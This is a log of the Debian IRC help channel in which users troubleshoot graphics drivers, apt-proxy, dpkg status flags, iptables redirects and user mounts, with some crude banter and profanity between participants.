| 16:50.47 | gewt | NOW IT'S NOT? |
| 16:50.55 | azeem | gewt: xgl isn't standard |
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| 16:51.46 | G__81 | is that kernel line right ? |
| 16:52.10 | PDani | any idea? |
| 16:52.13 | azeem | G__81: did you try? |
| 16:52.31 | Titan8990_ | G__81, no |
| 16:52.42 | Titan8990_ | G__81, the nvidia framebuffer driver is nvidiafb |
| 16:53.00 | G__81 | oh ok thanks didnt know that |
| 16:53.07 | G__81 | changed it |
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| 16:53.39 | Titan8990_ | G__81, if it doesn't work vesafb is a safe choice |
| 16:53.53 | G__81 | if it does not work will i still be able to boot into my system ? |
| 16:53.58 | G__81 | though i have the older kernels |
| 16:54.11 | G__81 | so shouldnt be a big issue i believe |
| 16:54.14 | azeem | can you reboot it and modify the grub config? |
| 16:54.18 | azeem | or is this a remote machine |
| 16:54.44 | G__81 | no its not a remote machine |
| 16:54.56 | Cryptic_Donkey | if i were to remove gnome mfrom my current installation of lenny would doing so cause the instalation to become un oporational/ |
| 16:55.00 | Titan8990_ | G__81, you can edit menu.lst from the grub menu if needed |
| 16:55.05 | valdyn | Cryptic_Donkey: no |
| 16:55.15 | Titan8990_ | G__81, or you can create a framebuffer and non-framebuffer option |
| 16:55.33 | G__81 | runtime |
| 16:55.36 | G__81 | is it |
| 16:56.12 | Titan8990_ | Cryptic_Donkey, no, linux does just fine w/o gnome |
| 16:56.30 | Titan8990_ | Cryptic_Donkey, but i have no idea what you are doing or what your goal is |
| 16:56.46 | Cryptic_Donkey | !gnome |
| 16:56.46 | dpkg | from memory, gnome is a Desktop Environment ("DE", so are <KDE> and <XFCE>) based on GTK+. To get GNOME, ask me about <install gnome>. See also <gnome status>. http:/wiki.debian.org/Gnome http://www.gnome.org/ #gnome-debian on irc.gnome.org. |
| 16:56.59 | valdyn | maybe "unoperational" means "Cryptic_Donkey cannot operate it" |
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| 16:58.24 | gewt | how awesome. |
| 16:58.27 | gewt | compiz segfaults |
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| 17:02.54 | sparse | Hello, I need some help with apt-proxy - I have it configured for debian mirror, but it seems that it does not use debian-security and emdebian which is configured, could anyone help? |
| 17:03.02 | sparse | I really see no error now |
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| 17:03.23 | sparse | I mean I see no error in the configuration, problem still persists |
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| 17:11.12 | Cryptic_Donkey | I sit possible to install firefox visa via the repositories or would i have to donwload the tarball from the rpoject webpage? |
| 17:11.26 | azeem | !firefox |
| 17:11.26 | dpkg | it has been said that firefox is replaced by iceweasel in Debian. Ask me about <iceweasel> and <why iceweasel>. |
| 17:11.56 | Cryptic_Donkey | !why iceweasel |
| 17:11.56 | dpkg | Due to Mozilla logos licensing, Mozilla software isn't DFSG-free, so Debian distributes Mozilla software with different logos. One day Mozilla Corporation decided to revoke the agreement to let Debian use Mozilla trademarks, so Debian changed to non-trademarked product names. See http://en.wikipedia.org/wiki/Mozilla_Corporation_software_rebranded_in_Debian for more information. Ask me about <dfsg>. |
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| 17:14.48 | G__81 | Titan8990, the nvidiafb didnt work i still get it as it used to be |
| 17:15.26 | sparse | No ideas about apt-proxy? |
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| 17:21.56 | Cryptic_Donkey | !why iceweasel |
| 17:21.56 | dpkg | Due to Mozilla logos licensing, Mozilla software isn't DFSG-free, so Debian distributes Mozilla software with different logos. One day Mozilla Corporation decided to revoke the agreement to let Debian use Mozilla trademarks, so Debian changed to non-trademarked product names. See http://en.wikipedia.org/wiki/Mozilla_Corporation_software_rebranded_in_Debian for more information. Ask me about <dfsg>. |
| 17:22.14 | azeem | Cryptic_Donkey: please /msg the bot |
| 17:22.37 | aboyz | <PROTECTED> |
| 17:22.38 | abrotman | sparse: the actual error might help |
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| 17:22.46 | abrotman | aboyz: /etc/adduser.conf |
| 17:22.55 | G__81 | abrotman, i want to install this library but i am not able to find it |
| 17:22.55 | aboyz | i see thanks. i needed that ;) |
| 17:22.55 | G__81 | libforms-java |
| 17:23.11 | G__81 | any idea on how i could get libforms-java i want to install the latest version of freemind |
| 17:23.12 | azeem | G__81: why do you want to install it? |
| 17:23.19 | G__81 | freemind depends on this |
| 17:23.28 | aboyz | abrotman i don' thave a adduser.conf why? |
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| 17:30.32 | abrotman | aboyz: you removed it ? |
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| 17:30.54 | abrotman | aboyz: you could create one also |
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| 17:32.27 | G__81 | isnt it possible to install libforms-java in Lenny ? |
| 17:32.46 | G__81 | i have lot of files done using freemind :( |
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| 17:35.36 | alak | Hi, is there a way to make port direction to a different IP? let's say i have game server cs.kajgana.com:27015 and i want it to redirect to cs.kajgana.mk:27000 |
| 17:35.43 | alak | How could i do it and with what program? |
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| 17:37.08 | Titan8990_ | iptables postrouting rules maybe |
| 17:37.58 | jelly | alak: keywords to google for: iptables REDIRECT |
| 17:38.41 | alak | thanks i'l look into it |
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| 17:39.38 | jelly | there are also #iptables and #netfilter channels |
| 17:39.39 | epsilon | but remember, the traffic will still go through the server |
| 17:39.52 | Abo | can I see more history than whats in .bash_history of root? |
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| 17:40.08 | abrotman | Abo: unless setup before hand, no |
| 17:41.48 | Abo | can I set it to save all that history somewhere? |
| 17:41.48 | jelly | alak: if the two are just external IPs on the same server, it ought to work. If those are different machines, you'll have to use something other than REDIRECT. Perhaps a simple tcp proxy like redir. |
| 17:41.48 | jelly | judd: where are you |
| 17:41.59 | jelly | !info redir |
| 17:42.09 | jelly | !seen judd |
| 17:42.09 | dpkg | judd <n=stew@unaffiliated/stew/bot/judd> was last seen on IRC in channel #debian, 15h 11m 29s ago, saying: 'abrotman: unionfs-fuse -- lenny: 0.21-3 sid: 0.23.hg.20090611-1 squeeze: 0.23.hg.20090611-1'. |
| 17:42.14 | abrotman | i didn't do it! |
| 17:42.20 | jelly | riight |
| 17:42.34 | dpkg | redir: (Redirect TCP connections), section net, is extra. Version: 2.2.1-9 (sid), Packaged size: 19 kB, Installed size: 48 kB |
| 17:42.45 | abrotman | abo: you can make your HISTSIZE larger .. but has to before hand |
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| 17:49.55 | Stereo | hello |
| 17:50.31 | Stereo | a coworker tried to update a machine, and accidentally upgraded some packages to squeeze. I have no idea of which packages he upgrades. Is there a command that will show me ? |
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| 17:50.41 | wsxws | hi there |
| 17:51.10 | jelly | Stereo: there are logs in /var/log/dpkg.log and /var/log/aptitude or under /var/log/apt/ |
| 17:51.11 | wsxws | on a regular installtion of debian lenny, is there a limit of maximal internetconnections somewhere ? |
| 17:51.27 | abrotman | in what way? |
| 17:51.32 | jelly | wsxws: tcp connections? udp connections? |
| 17:51.35 | wsxws | tcp |
| 17:51.45 | abrotman | bandwidth, number of connections, duration? |
| 17:51.54 | wsxws | number of connections |
| 17:52.37 | fxiny | Stereo: or have a look at http://simple.be/software/daudit/ |
| 17:53.31 | Stereo | fxiny: this is FANTASTIC |
| 17:53.40 | Stereo | I had no idea it existed ! |
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| 17:53.52 | Stereo | jelly: /var/log/dpkg.log is useful too |
| 17:53.59 | Stereo | thank you very much to you both ! |
| 17:54.00 | zero-1 | Hi |
| 17:54.13 | fxiny | Stereo: been posted on a debian mlist couple of months ago |
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| 17:55.11 | jelly | dpkg: dpkg.log |
| 17:55.11 | dpkg | /var/log/dpkg.log is the default log file of dpkg, it contains list of latest status changes and upgrades to packages; see also /var/log/aptitude or files under /var/log/apt/. see http://simple.be/software/daudit/ |
| 17:55.24 | jelly | dpkg: dpkg.log =~ s/see/see also/ |
| 17:55.24 | dpkg | jelly: OK |
| 17:55.28 | wsxws | anyone ? |
| 17:56.11 | zero-1 | is there a reason why networking doesn't start my networkin interfaces on boot? |
| 17:56.23 | zero-1 | I have to login and do ifup or nertworking start :S |
| 17:56.30 | zero-1 | but it use to work |
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| 17:57.02 | zero-1 | the odd thing is that ifup in one of my interfaces fail I seem to be only able to get them up through networking start |
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| 17:57.18 | Titan8990_ | networking uses ifup |
| 17:57.45 | Titan8990_ | zero-1, update-rc.d add networking default |
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| 17:58.05 | Stereo | fxiny: it found everything. Many thanks. |
| 17:58.09 | wsxws | abrotman ? |
| 17:58.19 | Stereo | I think I'll be auditing a lot of stuff :) |
| 17:58.27 | abrotman | wsxws: !! |
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| 17:58.44 | sparse | abrotman: Wll it is the way the fai (Fully Automated Install) works with it, it runs debootstrap (which is ok), but then it adds some packages that fail with 404 file not found on backend |
| 17:58.56 | fxiny | Stereo: np |
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| 17:59.37 | zero-1 | but networking is in rc.d |
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| 17:59.53 | wsxws | i asked if there is a limitation of the max numbers of simultanous tcp.connection in debian lenny somewhere |
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| 18:00.11 | wsxws | has anybody a clue about that issue ? |
| 18:00.43 | sparse | abrotman: Sorry I responded quite late, I do not know how to test apt-proxy to work with all backends I specified (like ftp.at.debian.org AND debian-security AND emdebian) and how to specify it in client /etc/apt/sources.list (eg. for debian-security) |
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| 18:01.58 | sparse | wsxws: not sure, maybe sysctl? |
| 18:03.07 | sparse | wsxws: sure there will be limitation given by memory (quite broad) and by sockets (really not sure but something says to me there is 65k) |
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| 18:04.11 | sparse | abrotman: The thing is that with usual sources all goes well, with apt-proxy (maybeI have some error in configuration) it fails |
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| 18:05.01 | abrotman | wsxws: google something like "linux limit user tcp connections" ? |
| 18:05.09 | wsxws | sockets are 65536 |
| 18:05.27 | ranix | hmm I wonder why it would be limited to that |
| 18:05.29 | wsxws | but if there is no limitations besides the ardwareside everything is fine |
| 18:05.31 | ranix | thinks hard. |
| 18:06.25 | sparse | wsxws: well I would begin with sysctl then |
| 18:06.34 | wsxws | in sysctl is noting |
| 18:06.53 | wsxws | ive benn in /proc/sys/net |
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| 18:07.06 | wsxws | bez there wasnt anything neither |
| 18:07.23 | ranix | this particular issie is going to have little or nothing to do with Debian - it's going to be handled by or a limitation of the actual linux kernel |
| 18:07.35 | wsxws | but if there is none, everything is fine, so i dont have to care aout them |
| 18:07.37 | Stereo | fxiny: would you by any chance know what pn status means in the daudit packages list ? |
| 18:07.40 | wsxws | thanks all |
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| 18:14.12 | RizR | hello. my /var partition got screwed due to a harddrive failure. first problem is the unavailability of apt database (all of it). any way to repair it? |
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| 18:14.37 | wsxws | wish you a nice evening |
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| 18:24.26 | fxiny | Stereo: pn ? AFAIK status is : grep Status /var/lib/dpkg/status , flags and packages states are in man dpkg |
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| 18:25.07 | guysoft422 | hi all, i just upgraded xorg of a computer here that uses ps/2 for the keyboard. and the keyboard layout is now wrong, among the keys: the arrows and home,end,insert buttons. USB works fine. |
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| 18:25.29 | guysoft422 | any idea what was changed? google says it might be because hal layouts were introduced to xorg |
| 18:25.31 | ehazlett | shameless plug: Reconstructor 3.0 Invite Launch -- http://www.reconstructor.org -- build customized Debian/Ubuntu ISO/appliance images... :) |
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| 18:26.43 | m314 | I can't connect to security.debian.org, what should I do? |
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| 18:29.30 | fxiny | try again ? works here |
| 18:29.36 | ajavid | good afternoon |
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| 18:33.52 | m314 | Hmm... Now I got a different IP-adress by looking up security.debian.org and it works fine :S |
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| 18:35.13 | abrotman | ehazlett: please don't spam here |
| 18:35.44 | ehazlett | abrotman: sorry |
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| 18:41.16 | fxiny | Stereo: hmmm : from daudit code --> $status = $1; which prints from dpkg -l , and $2 is the name , and so on . so is like "ii aalib1" . can't find "pn" |
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| 18:45.47 | tempuser | for those that were here earlier and saw my question regarding migration from a physical install to a xen domU: i simply tarred up / and made sure the xen config was correct.....all went well. the migration was from redhat es3 to lenny xen. all in all, it took about 20 minutes. |
| 18:46.24 | fxiny | i know where is it , but i do not feel to read parsehelp.c or fields.c |
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| 18:46.49 | Kamilion | Where does debian-installer load storage controller modules from when Detect Disks asks for modules and 'none of the above' is selected? |
| 18:48.11 | Wooga | what is difference between debootstrap and cdebootstrap? |
| 18:48.20 | Wooga | s/is/the/ |
| 18:48.40 | ajavid | its better |
| 18:48.46 | Wooga | which one? |
| 18:48.58 | ajavid | cd |
| 18:49.11 | ajavid | its an improvement on the debootstrap d-i |
| 18:49.20 | fxiny | oh you in ? still upset ? |
| 18:49.21 | ajavid | hopefully will replace one day |
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| 18:49.30 | zero-1 | how can I make my iptables rules survive a reboot I tried the ifup script aproach it was a no go |
| 18:49.31 | ajavid | fxiny, me? never |
| 18:49.53 | fxiny | ok |
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| 18:50.39 | arsenip | hmph, how do i find my current IP ?:X |
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| 18:50.54 | shikamaru | zero-1: wrtie them in a script you'll set with chkconfig :) |
| 18:50.57 | fxiny | ajavid: do you know which flag is "pn" from dpkg -l ? |
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| 18:51.07 | Wooga | arsenip: ifconfig |
| 18:51.11 | arsenip | ty |
| 18:51.44 | fxiny | pending ? maybe ? |
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| 18:51.58 | ajavid | what you wanna know is beautiful? |
| 18:52.00 | ajavid | http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=254248 |
| 18:52.09 | ajavid | but still exists. |
| 18:52.11 | ajavid | bug* |
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| 18:54.09 | ajavid | fxiny, purged |
| 18:54.25 | fxiny | ajavid: nice |
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| 18:54.44 | fxiny | Stereo: ajavid just told me pn is purged |
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| 18:54.59 | ajavid | as for 'n' |
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| 18:55.41 | fxiny | ajavid: wt4x ! ok we make it PNrged :P |
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| 18:57.15 | fxiny | ajavid: so starting from today we have : pr0n , porbs and pnrged , i'll tell enouf you did it :P |
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| 18:57.49 | ajavid | <PROTECTED> |
| 18:57.59 | fxiny | gonna pnrge packet :P |
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| 18:58.05 | ajavid | this is stupid |
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| 18:58.16 | ajavid | no |
| 18:58.43 | fxiny | ajavid: purge "p" a new packet "n" ? hmmm |
| 18:58.53 | ajavid | yeh, stupid |
| 18:58.56 | ajavid | but not, incorrect |
| 18:59.20 | fxiny | i like pnrging , sounds so leet :P |
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| 19:07.33 | odinsbane | We've got a hard drive that I want to have mounted whenever the computer restarts. Is fstab enough? |
| 19:07.40 | odinsbane | and where can I find the UUID? |
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| 19:08.53 | themill | !uuid |
| 19:08.53 | dpkg | [uuid] Universally Unique IDentifier, used to reference disk partitions (among other things). See currently known partition UUIDs with `blkid'. In /etc/fstab and /boot/grub/menu.lst, use "UUID=dead-beef-0420-etc" as the partition name. Helps to cope with device name changes such as hda->sda (libata transition) or changes in USB disk order discovery. <LVM> tools accept PV/VG/LV UUIDs as arguments, use {pv,vg,lv}display to acquire. |
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| 19:09.28 | muhoo | is there a way i can tell from looking at a .deb to see what CFLAGS it was built with? |
| 19:09.29 | hudu | ne1 know how to reset my root priv since I don't remember the root p/w? I set this computer up for my daughter nearly a year and a half ago. It's running great (a tribute to debian) but I want to do some admin stuff on it now. |
| 19:11.01 | justin | hudu: reboot, init=/bin/sh |
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| 19:11.38 | muhoo | i'm trying to build a few different versions of a package, which is performance-critical, and want to be abble to tell from looking at the deb, which CFLAGS i'd used for it |
| 19:11.54 | ajavid | fxiny, where do you see this 'n' of the 'pn' |
| 19:12.40 | fxiny | ajavid: not me , is Stereo when running daudit |
| 19:12.51 | hudu | justin: I don't really know what you're suggesting ... I set it up so that whenever I reboot, it automatically logs in as user ... neither my daughter nor I remember even the user p/w because it isn't needed to boot up |
| 19:13.00 | odinsbane | ntfs doesn't have a uuid? |
| 19:13.04 | fxiny | ajavid: try to pnrge something :P |
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| 19:13.31 | ajavid | fxiny, I've looked at aptitude action flags and status flags and I Can't seem to find 'n' anywhere |
| 19:13.35 | justin | hudu: google reset root password init |
| 19:13.48 | hudu | justin: thanks ... I'll do it :D |
| 19:14.29 | guysoft422 | <PROTECTED> |
| 19:14.56 | hark | !tell hudu about ifrp |
| 19:15.44 | fxiny | ajavid: google is telling me there is some lack of documentations , and flags are in parsehelp.c or fields.c , can't dig so deep , i'm so busy pnrging |
| 19:16.10 | hudu | hark: thanks ... that was very useful |
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| 19:17.31 | fxiny | ajavid: http://www.linux-archive.org/debian-dpkg/226940-documentation-status-field-var-lib-dpkg-status.html |
| 19:17.54 | CutMeOwnThroat | how's one really supposed to mount/umount things as a user? There's sshfs, smbmount, mount, pmount but nothing seems to work so great overall.. e.g. sshfs can mount a drive, but can't unmount it - umount complains you're not root to unmount it, pumount that it can't determine the real device - fusermount -u finally worked... now I used smbmount to mount and fusermount -u doesn't work either |
| 19:17.57 | guysoft422 | ... foudn the bug: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=442316 |
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| 19:18.51 | odinsbane | CutMeOwnThroat: you need to setup fstab to setup the permissions |
| 19:19.09 | CutMeOwnThroat | isn't there anything that lets me mount/umount as a user? (Of course I can always become root and fix things up, but as these mounts are all linked to user accounts that doesn't seem right) |
| 19:19.11 | ranix | there's a fusermount I think CutMeOwnThroat |
| 19:19.16 | ranix | I haven't used it much |
| 19:19.20 | ranix | I tend to sudo to mount drives |
| 19:19.34 | CutMeOwnThroat | fusermount just failed to umount the sambashare I mounted also |
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| 19:20.20 | odinsbane | CutMeOwnThroat: you have to have the fstab setup |
| 19:20.24 | ajavid | pnrging lol |
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| 19:20.29 | CutMeOwnThroat | and fstab really isn't a solution - these are drives using a from/for a single user account so using fstab just feels wrong |
| 19:20.30 | ajavid | fxiny, crackhead |
| 19:20.31 | ajavid | :) |
| 19:20.56 | fxiny | ajavid: heheh , i'll blame *you* for the pnrging :P |
| 19:21.05 | ajavid | hehe |
| 19:21.33 | fxiny | ajavid: it sounds so upper class :P |
| 19:22.30 | CutMeOwnThroat | hm, I just did a search - there's a usermode package... 'usermount' might provide something.. but it's graphical - what a waste |
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| 19:23.29 | CutMeOwnThroat | odinsbane, also, changins fstab is not an option on machines where you just have a simple user account - and sshfs/smbmount don't really demand root... |
| 19:23.45 | fxiny | why not pmount ? |
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| 19:24.06 | CutMeOwnThroat | see above... it complains it can't find the device and can't umount |
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| 19:25.25 | CutMeOwnThroat | fxiny, perhaps if I use pmount to mount things instead of calling smbmount/sshfs it handles things better? |
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| 19:26.08 | fxiny | CutMeOwnThroat: smb ? no idea |
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| 19:27.31 | CutMeOwnThroat | pmount -w -t cifs //some.drive/blah $HOME/netdrive/ |
| 19:27.37 | CutMeOwnThroat | Error: could not determine real path of the device: No such file or directory |
| 19:27.37 | muhoo | no ideas on somehow noting in a package what flags i used to compile it, so i can figure out wtf is going on later on, eh? |
| 19:27.55 | CutMeOwnThroat | mount -w -t cifs //some.drive/blah $HOME/netdrive/ |
| 19:27.59 | CutMeOwnThroat | mount: only root can do that |
| 19:28.02 | CutMeOwnThroat | bother |
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| 19:28.28 | fxiny | CutMeOwnThroat: i even forgot why i keep an old smbc on hold , can't focus on that |
| 19:28.52 | fxiny | but i did use smbc in the past ... |
| 19:29.11 | TrueDD | Hi all |
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| 19:30.15 | CutMeOwnThroat | doh |
| 19:30.15 | ajavid | fxiny, yes, lack of documentation is correct |
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| 19:30.21 | ajavid | fxiny, however, it makes sense |
| 19:30.24 | CutMeOwnThroat | now I managed to mount the same drive on the same directory twice |
| 19:30.34 | ajavid | fxiny, it didn't need to be documented (perhaps it needs to be) |
| 19:30.46 | CutMeOwnThroat | good job, CutMeOwnThroat |
| 19:31.07 | ajavid | !penixstrike CutMeOwnThroat |
| 19:31.07 | dpkg | A towering Penix descends from the heavens, knocking CutMeOwnThroat to the ground and leaving a large wet spot. |
| 19:31.17 | ajavid | CutMeOwnThroat, you talk too much |
| 19:31.29 | CutMeOwnThroat | that coming from you means SO much to me |
| 19:31.32 | ajavid | :D |
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| 19:31.45 | CutMeOwnThroat | I had 4 coffee |
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| 19:31.45 | ajavid | I hardly ever talk, I dunno what you're talking about |
| 19:31.51 | CutMeOwnThroat | no, you RAMBLE! |
| 19:31.54 | ajavid | bullshit! |
| 19:32.01 | CutMeOwnThroat | that, too |
| 19:32.03 | ajavid | hahaha |
| 19:32.04 | fxiny | ajavid: is not me , Stereo used daudit to find some testing packages "squeezed" by mistake in lenny , and he found this "pn" |
| 19:32.05 | ajavid | asshole |
| 19:32.09 | CutMeOwnThroat | you're welcome |
| 19:32.27 | ajavid | squeezed? |
| 19:32.32 | ajavid | nice pun |
| 19:33.12 | CutMeOwnThroat | anyway, seems I got no write permission on the damn smb drive they assigned me |
| 19:33.19 | hark | pn means Purged and Not installed |
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| 19:33.36 | ajavid | hark, thats what I said |
| 19:33.45 | CutMeOwnThroat | to continue my own ramblings :) |
| 19:33.59 | ajavid | hark, but 'n' isn't listed anywhere that I could find (outside of aptitude) |
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| 19:34.20 | fxiny | CutMeOwnThroat: oh yes , i remember something about the smbc thing , i wasn't browsing local shares at all , the version i use is 1.0.1-1 |
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| 19:34.33 | ajavid | hark, p = obviously not currently installed/purged etc. |
| 19:34.42 | ajavid | hark, n = what? where do you find this flag description? |
| 19:34.50 | hark | ajavid: dpkg -l |head and man dpkg |
| 19:34.59 | ajavid | hark, man dpkg where? |
| 19:35.00 | hark | under states or something |
| 19:35.22 | fxiny | hark: good ! |
| 19:35.24 | hark | PACKAGE STATES |
| 19:35.31 | ajavid | hark, nope |
| 19:35.33 | ajavid | not there |
| 19:35.49 | fxiny | ajavid: stop pnrging :P |
| 19:36.18 | ajavid | any of the package state flags and action flags I've looked I have been unable to see (n) and what it means |
| 19:37.03 | ajavid | hark, like I said, people like us acan figure it out like I already advised fxiny |
| 19:37.12 | ajavid | hark, but anyone else, ... its not ducmented clearly |
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| 19:37.34 | ajavid | thats what I was saying to him |
| 19:37.57 | hark | ajavid: yeah, you have to combine both the legend output and the man page. it's not clear unlike aptitude's flags |
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| 19:39.12 | fxiny | is not clear indeed : nothing appears on the top of : dpkg -l | less |
| 19:39.42 | hark | Status=Not/Inst/Cfg-files/Unpacked/Failed-cfg/Half-inst/trig-aWait/Trig-pend |
| 19:39.44 | ajavid | fxiny, Status=Not/Inst/Cfg-files/Unpacked/Failed-cfg/Half-inst/trig-aWait/Trig-pend |
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| 19:40.04 | fxiny | i read that half an hour ago |
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| 19:40.21 | CutMeOwnThroat | so? |
| 19:40.52 | ajavid | n package is new and has yet to be marked. (not installed) |
| 19:41.05 | ajavid | I told you this half hour ago too |
| 19:41.32 | ajavid | but I also said its unclear |
| 19:41.34 | ajavid | but incorrect |
| 19:41.57 | ajavid | my english sucks. figure it out |
| 19:42.28 | fxiny | but , being daudit an useful app , at least is pretty quick and can be used even when one's tired up , this "pn" should be documented , somehow |
| 19:42.29 | adb | ajavid: try farsi ;) |
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| 19:42.47 | ajavid | fxiny, 'n' |
| 19:42.50 | ajavid | p is |
| 19:43.08 | fxiny | because daudit is for grabbing this pourge not installed packages |
| 19:43.25 | fxiny | s/pourge/pnrge |
| 19:43.47 | CutMeOwnThroat | doh, there's a smb drive even regular umount fails to unmount |
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| 19:44.33 | CutMeOwnThroat | hm, because it's not really mounted - mtab is wrong |
| 19:44.46 | rgr | an emacs package uses .authinfo.gpg. Previously I just used a .authinfo. Will the rest of the system use the gpg file too by default if it exists? |
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| 19:45.36 | CutMeOwnThroat | whaddamess ... guess reboot within the next century will fix it |
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| 19:46.39 | hark | ajavid: where did you find p documented? |
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| 19:46.52 | ajavid | I don't remember anymore |
| 19:46.54 | ajavid | lol |
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| 19:47.00 | Rapp | hi everyone! |
| 19:47.18 | earthian | good evening. is it safe to create symbolic and/or hard links between guests and/or guest and host servers filesystems with linux-vserver? |
| 19:47.35 | hark | heh :) |
| 19:47.38 | Rapp | i just noticed that my debian stable server does not accept smtp connections with auth SMTP anymore. (exim4) where do i best start debugging |
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| 19:48.15 | Abo | whats the linux image for bigmem on 5.2 |
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| 19:49.08 | Abo | another question |
| 19:49.26 | markybob | linux-image-2.6-686-bigmem |
| 19:49.27 | Abo | can I use a trick for example to set port 21 for ssh and set ftp's port to a different port? |
| 19:49.29 | adb | Abo: what's 5.2 ? |
| 19:49.36 | Abo | 5.0.2 sorry |
| 19:49.42 | Abo | they will think 21 is ftp :D |
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| 19:49.45 | Abo | will this work? :) |
| 19:49.56 | markybob | yes, it would work |
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| 19:51.11 | rudi_s | Abo: Just remember that it's security by obscurity (if you think of it as a security feature). |
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| 19:51.34 | ajavid | hark, http://algebraicthunk.net/~dburrows/projects/aptitude/doc/en/ch02s02s02.html |
| 19:51.47 | alturiak | hmmm |
| 19:51.58 | ajavid | p - the package and all its configuration files were removed, or the package was never installed. |
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| 19:52.24 | ajavid | hark, also ists 2+2 |
| 19:52.30 | wildc4rd | evening all |
| 19:52.32 | ajavid | hark, I pieced shit togethe rin my head |
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| 19:52.43 | ajavid | hark, http://algebraicthunk.net/~dburrows/projects/aptitude/doc/en/ch02s02s02.html#figureCurrentFlag |
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| 19:53.01 | earthian | I am wondering if anybody understood my question.. |
| 19:53.04 | earthian | :) |
| 19:53.06 | r0nin | debian says during boot bus(sis630_smbus) not detected, module not inserted? |
| 19:53.06 | fxiny | ajavid: never installed makes sense |
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| 19:53.32 | justin | fxiny: except that dpkg -l doesn't normally list packages that were never installed |
| 19:53.42 | HellMind | Im setting up a environment for chrooting, but I want to make it minimun, its just to run a quake3 server, How can I make it MInimun ? |
| 19:53.44 | ajavid | I wonder |
| 19:53.45 | hark | ajavid: yeah, but that's aptitude. |
| 19:53.48 | ajavid | look at man dpkg-query perhaps? |
| 19:53.59 | hark | not sure if they share the flags |
| 19:54.01 | ajavid | not sure if that would have info on this |
| 19:54.10 | ajavid | dpkg -l stats dpkg-query I think |
| 19:54.11 | dpkg | No packages found matching stats dpkg-query I think |
| 19:54.14 | fxiny | justin: right |
| 19:54.17 | ajavid | dpkg is a wrapper |
| 19:54.17 | dpkg | ajavid: parse error: dunno what the heck you're talking about |
| 19:54.22 | ajavid | dpkg, stfu |
| 19:54.22 | dpkg | [stfu] Shut The Fuck Up |
| 19:54.28 | ajavid | argh. |
| 19:54.59 | ajavid | dpkg shut up |
| 19:54.59 | dpkg | No, I won't, and you can't make me. :P |
| 19:55.02 | linXea | feisty one ;) |
| 19:55.02 | r0nin | sis630_smbus would be my chipset right? |
| 19:55.19 | themill | dpkg, fix ajavid |
| 19:55.19 | dpkg | takes ajavid to the vet for a "special" visit. |
| 19:55.19 | Eulex | dpkg -i brain.deb |
| 19:55.20 | dpkg | package brain.deb is already installed |
| 19:55.27 | Eulex | phew |
| 19:55.40 | earthian | :D |
| 19:55.44 | earthian | dpkg<3 |
| 19:55.48 | ranix | lol |
| 19:55.54 | ajavid | cat /dev/zero > /dev/brain |
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| 19:56.48 | fxiny | so , this is the perl script http://simple.be/software/daudit/code/daudit.txt , it prints dpkg -l -> $status = $1; and then $name = $2; |
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| 19:57.12 | fxiny | dpkg -l , according to Stereo , printed "pn" |
| 19:57.12 | dpkg | ii , according to Stereo , printed "pn" 3.6-15.3 fxiny's private stamp collection |
| 19:57.21 | fxiny | hehehe |
| 19:57.39 | fxiny | forgot the space |
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| 19:57.54 | hark | what's stereo? |
| 19:58.12 | fxiny | is someone here Stereo |
| 19:58.30 | fxiny | maybe gone |
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| 19:59.14 | fxiny | --> 19:50 < Stereo> a coworker tried to update a machine, and accidentally upgraded some packages to squeeze. I have no idea of which packages he upgrades. Is there a command that will show me ? |
| 19:59.31 | hark | oh ;) |
| 19:59.41 | fxiny | he used this perl script called daudit anf he found all packages |
| 19:59.43 | themill | "pn" == purged, not installed. |
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| 20:00.00 | fxiny | quickly , then he asked for the pn |
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| 20:00.54 | ajavid | themill, yes, we've established that, but it is still true that the documentation on 'n' is unclear |
| 20:01.02 | themill | it is? |
| 20:01.06 | ajavid | yes |
| 20:01.08 | abrotman | it means not-installed |
| 20:01.14 | themill | | Status=Not/Inst/Cfg-files/Unpacked/Failed-cfg/Half-inst/trig-aWait/Trig-pend |
| 20:01.15 | ajavid | how do you know that |
| 20:01.20 | hark | this is fun |
| 20:01.21 | ajavid | again... |
| 20:01.24 | themill | the output of dpkg -l tells you this... |
| 20:01.29 | ajavid | we're going over the same fucking this I just talked to hark about |
| 20:01.33 | ajavid | sigh |
| 20:01.42 | abrotman | how is it vague ? |
| 20:01.50 | themill | thankfully, (a) I wasn't here and (b) I am able to read the header line. |
| 20:02.04 | ajavid | then stfu. |
| 20:02.20 | abrotman | how does 'n' not mean 'Not installed' ? |
| 20:02.43 | ajavid | abrotman, unless you can show me where it is documented, where it shows that 'n' stands for not installed, kindly shut it |
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| 20:02.47 | ajavid | I'm not going over this again and again |
| 20:02.50 | abrotman | it shows you right at the top |
| 20:03.03 | dondelelcaro | ajavid: the capitalized letter in the status line tells you |
| 20:03.03 | abrotman | the leader lines go to the line to show the Status |
| 20:03.12 | themill | ajavid: and how does line two of the output not document it? |
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| 20:03.45 | ajavid | again... 'n' = not installed |
| 20:03.49 | ajavid | where is this? |
| 20:03.58 | dondelelcaro | ajavid: Status=Not/Inst/Cfg-files/Unpacked/Failed-cfg/Half-inst/trig-aWait/Trig-pend |
| 20:04.09 | abrotman | see the "Not" part? |
| 20:04.09 | ajavid | and then you look at man dpkg |
| 20:04.10 | ajavid | sure |
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| 20:04.13 | Rapp | hm, ok. my exim4 still is choking. i can send to users in my local domain, but if i e.g. use @gmx.net as the recepient, i get a "relay not permitted". possible reasons? some hints? |
| 20:04.16 | ajavid | but where is this documented! |
| 20:04.21 | ajavid | this is not |
| 20:04.27 | ajavid | do you not understand me? |
| 20:04.28 | stew | ajavid: in the second line of dpkg -l output |
| 20:04.33 | ajavid | oh gawd. |
| 20:04.34 | ajavid | forget it. |
| 20:04.35 | fxiny | is not clear : shouldn't be : Not-Inst instead of Not/Inst/ ? |
| 20:04.36 | dondelelcaro | ajavid: in the status output, and in dpkg-query. It doesn't define the fields, but the output tells you what they mean. |
| 20:04.44 | ajavid | dondelelcaro, thank you! |
| 20:04.45 | abrotman | fxiny: no .. those are two different states |
| 20:04.46 | ajavid | it does not define! |
| 20:04.50 | ajavid | my point exactly. |
| 20:04.54 | fxiny | abrotman: ok |
| 20:05.02 | dondelelcaro | ajavid: so? the output tells you what it means |
| 20:05.06 | abrotman | fxiny: would it make more sense if it were Inst/Not/Cfg-files ? |
| 20:05.14 | ajavid | yes, we've been over this half hour ao |
| 20:05.23 | ajavid | dondelelcaro, I said the same things that are being said to me now |
| 20:05.23 | ranix | stop being so hostile ajavid |
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| 20:05.27 | dondelelcaro | ajavid: n is not installed; i is installed; c is config files, etc. |
